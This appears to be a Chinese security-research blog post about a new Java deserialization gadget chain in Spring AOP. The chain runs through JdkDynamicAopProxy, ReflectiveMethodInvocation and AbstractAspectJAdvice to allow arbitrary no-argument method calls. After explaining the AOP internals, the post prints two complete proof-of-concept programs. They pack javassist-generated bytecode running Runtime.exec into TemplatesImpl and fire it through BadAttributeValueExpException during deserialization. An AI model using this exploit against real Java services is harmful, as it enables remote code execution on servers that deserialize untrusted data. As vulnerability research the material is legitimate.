SpringAop新链实现任意无参方法调用

环境和依赖

jdk8u66

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId>
<version>2.7.18</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>

AOP简单使用

先了解一点AOP的概念:

  • 切面(Aspect): 公共功能的实现。如日志切面、权限切面、验签切面。给Java类使用@Aspect注释修饰,就能被AOP容器识别为切面
  • 通知(Advice): 切面的具体实现,即切面类中的一个方法,根据放置的地方不同,可分为前置通知(Before)、后置通知(AfterReturning)、异常通知(AfterThrowing)、最终通知(After)与环绕通知(Around)
  • 连接点(JoinPoint): 程序在运行过程中能够插入切面的地方。Spring只支持方法级的连接点,比如一个目标对象有5个方法,就有5个连接点
  • 切点(PointCut): 用于定义通知应该应用到哪些连接点
  • 引入(Introduction):动态地为类添加新的接口实现

定义切面类LoggingAspect,下面的logBefore方法即一个通知(advice),并将通知注册到了定义的切点serviceLayer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package AOPtest;

import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.springframework.stereotype.Component;

@Aspect
@Component
public class LoggingAspect {
// 定义切点
@Pointcut("execution(* AOPtest.*.*(..))")
public void serviceLayer() {}

// 在切点匹配的方法执行前应用通知
@Before("serviceLayer()")
public void logBefore(JoinPoint joinPoint) {
System.out.println("Method Called: " + joinPoint.getSignature());
}
}

@Pointcut使用规则匹配来定义通知(advice)要应用到哪些连接点(joint point,即方法)。

execution表示匹配方法的执行 ,第一个*号表示方法有任意返回值,org.test.service为匹配的包名 ,后面两个*表示包名下的所有类的所有方法 ,(...)表示方法的参数任意。

定义服务类:

1
2
3
4
5
6
7
8
9
10
package AOPtest;

import org.springframework.stereotype.Service;

@Service
public class HelloService {
public void sayHello() {
System.out.println("hello");
}
}

启动SpringBoot项目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package AOPtest;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ConfigurableApplicationContext;

@SpringBootApplication
public class Application {
public static void main(String[] args) {
ConfigurableApplicationContext context = SpringApplication.run(Application.class, args);
HelloService service = context.getBean(HelloService.class);
service.sayHello();
}
}

start

成功通过AOP实现方法级别的hook

从AOP动态代理到方法拦截

JdkDynamicAopProxy这个类最初用于解决Jackson链的不稳定触发,这个类是JDK动态代理中的调用处理器,当代理对象Proxy调用方法时,会跳转到该类的invoke方法来处理。这个之前在讲Jackson链的时候讲过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
…………
target = targetSource.getTarget();
Class<?> targetClass = (target != null ? target.getClass() : null);

//获取此方法的拦截链
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

//检查拦截链是否为空。如果为空,我们可以退回到目标的直接反射调用,避免创建 MethodInvocation。
if (chain.isEmpty()) {
// 我们可以跳过创建 MethodInvocation直接调用目标。
// 注意,最终的调用者必须是 InvokerInterceptor,因此我们知道它只对目标进行反射操作,而没有热交换或花哨的代理。
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
}
else {
//我们需要创建一个方法调用……
MethodInvocation invocation =
new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
// 通过拦截器进入链接点
retVal = invocation.proceed();
}
…………

在调用目标对象Target的方法之前,会检查这个方法是否有配置拦截链。在Jackson链中走的是chain.isEmpty()的情况,即未配置拦截链,直接通过反射来调用Target的方法。若配置了拦截链,则先通过拦截链的一层层处理,再到JoinPoint(即target的方法)。
AdvisedSupport是关于代理对象配置的,先看如何获取用于拦截链的getInterceptorsAndDynamicInterceptionAdvice方法:

getInterceptorsAndDynamicInterceptionAdvice

readObject会为methodCache分配一个空的Map,因此首次根据MethodCacheKey获取拦截链肯定得到null。继续来看470行的getInterceptorsAndDynamicInterceptionAdvice方法:

getInterceptorsAndDynamicInterceptionAdvice2

57行:从配置获取Advisior(包含有advice和决定advice作用位置匹配的过滤器)。

58行:有多少个Advisor拦截链interceptorList长度就有多少。

63行以后:判断是作用到PointCut的advice还是作用到Introduction的advice,但最终都是通过registry.getInterceptors(advisor)获取Interceptor合并到interceptorList中。

跟进101行的DefaultAdvisorAdapterRegistry#getInterceptors方法:

getInterceptors

82、83行:若advice是MethodInterceptor类型,直接加入拦截器中,顾名思义MethodInterceptor这个接口就是用于拦截前往target的方法调用,往其声明的invoke方法添加拦截时要处理的逻辑(如记录日志)即可。

1
2
3
4
5
6
7
8
…………
else {
//我们需要创建一个方法调用……
MethodInvocation invocation =
new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
// 通过拦截器进入链接点
retVal = invocation.proceed();
}

回到JdkDynamicAopProxy,当chain不为空时,实例化ReflectiveMethodInvocation并调用其proceed方法:

proceed

currentInterceptorIndex指向当前拦截器在拦截链中的索引,若已经执行完所有拦截器(即索引已到达size-1),则直接invokeJoinpoint调用JoinPoint连接点的方法(即target的方法)。如果当前advice是根据规则动态匹配方法的,则先判断当前方法是否匹配到,若匹配到则调用拦截器的invoke方法。

Advice调用切面方法

image

现在思考一下第一节AOP的案例最后advice是怎么调用到我们自定义的切面方法呢,我们只是定义了一个接受JoinPoint参数的方法,然后用@Before注释了该方法。可以猜测框架保存了这个Method,最后用反射调用,传入匹配到的JoinPoint作为参数。

接下来就要看AbstractAspectJAdvice这个抽象类,上面提到的几个通知类型都是它的子类(包括Before、After、AfterReturning、AfterThrowing、Around)

AbstractAspectJAdvice

这里以最简单的AspectJAfterAdvice类里的invoke方法举例:

AspectJAfterAdvice

先调用proceed方法让拦截链继续传递到下一个拦截器,最后再invokeAdviceMethod调用拦截逻辑

invokeAdviceMethod

最终走到invokeAdviceMethodWithGivenArgs

invokeAdviceMethodWithGivenArgs

这里是直接在AOP依赖下的一个sink点,有着反射执行任意方法的能力,操作空间很大。aspectJAdviceMethod即advice对应的方法(如上面我们自己写的logBefore方法),这里利用Method#invoke反射调用了这个方法。但是Method类并没有实现Serializable接口,aspectJAdviceMethod属性也是由transient修饰。
Method实际上是readObject时通过反射恢复的:

1
this.aspectJAdviceMethod = this.declaringClass.getMethod(this.methodName, this.parameterTypes);

再回到刚刚那个图,最后一行,调用对象由this.aspectInstanceFactory.getAspectInstance()获取,有多个实例工厂类,这些都可能是我们反序列化链子的出口。

Factory

SimpleAspectInstanceFactory#getAspectInstance:

SimpleAspectInstanceFactory

直接反射调用的无参构造器,可惜这个类不能序列化,否则可以考虑打ClassPathXmlApplicationContext

SingletonAspectInstanceFactory#getAspectInstance:

SingletonAspectInstanceFactory

单例工厂,直接返回对象 ,并且可以被序列化。

SimpleBeanFactoryAwareAspectInstanceFactory#getAspectInstance:

SimpleBeanFactoryAwareAspectInstanceFactory

由Bean工厂创建。

因此能利用的只有单例工厂了。现在反射调用方法的三要素Method调用对象都齐了,只剩参数了。

回到invokeAdviceMethod方法:

invokeAdviceMethod2

跟进argBinding方法:

argBinding

jpMatch来自getJoinPointMatch方法:

getJoinPointMatch

没找到可以调用ProxyMethodInvocation#setUserAttribute的地方,又想到是否有拦截器可以拦截时添加这一属性,翻了一圈没找到,所以目前只能调用无参方法了。

任意无参方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;

public class POC {
public static void main(String[] args) throws Exception {
byte[] bytes = getshortclass("calc");
Templates templates = (Templates) getTemplates(bytes);

SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
Method m = TemplatesImpl.class.getMethod("newTransformer");
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(advice);

//动态代理
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);

//触发toString
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", proxy);

String a = serialize(val);
unserialize(a);
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "PC016");
setValue(templates, "_tfactory", new TransformerFactoryImpl()); //这里自己改呗
return templates;
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

直接这样写,运行会报错:

error

全局搜这个报错,在ExposeInvocationInterceptor.java

ExposeInvocationInterceptor

MethodInvocation是空的,也就是在JdkDynamicAopProxy中实例化的ReflectiveMethodInvocation,那MethodInvocation跑哪去了呢?

再看一眼报错所在的类ExposeInvocationInterceptor——也是一个拦截器。

invoke

invoke方法刚好把MethodInvocation设置进当前上下文进程类。所以只需多往advice链里注册个ExposeInvocationInterceptor即可。
注意由于是链式调用,需要先注册这个interceptor,再注册advice

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.AspectJMethodBeforeAdvice;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.interceptor.ExposeInvocationInterceptor;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;

public class POC {
public static void main(String[] args) throws Exception {
byte[] bytes = getshortclass("calc");
Templates templates = (Templates) getTemplates(bytes);

SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
Method m = TemplatesImpl.class.getMethod("newTransformer");
AspectJMethodBeforeAdvice advice = new AspectJMethodBeforeAdvice(m, new AspectJExpressionPointcut(), factory);

Constructor<?> c = ExposeInvocationInterceptor.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ExposeInvocationInterceptor interceptor = (ExposeInvocationInterceptor) c.newInstance();

AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.addAdvice(interceptor);
advisedSupport.addAdvice(advice);

//动态代理
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Serializable.class}, handler);

//触发toString
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val, "val", proxy);

String a = serialize(val);
unserialize(a);
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}

//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "PC016");
setValue(templates, "_tfactory", new TransformerFactoryImpl()); //这里自己改呗
return templates;
}

//一个短的命令执行class,用javassist写的
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

calc

调用链:

1
2
3
4
5
JdkDynamicAopProxy.invoke()->
ReflectiveMethodInvocation.proceed()->
AspectJAroundAdvice->invoke->
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->
method.invoke()

参考文章:https://xz.aliyun.com/news/17640


SpringAop新链实现任意无参方法调用
http://example.com/2025/05/20/SpringAop新链实现任意无参方法调用/
作者
Infernity
发布于
2025年5月20日
许可协议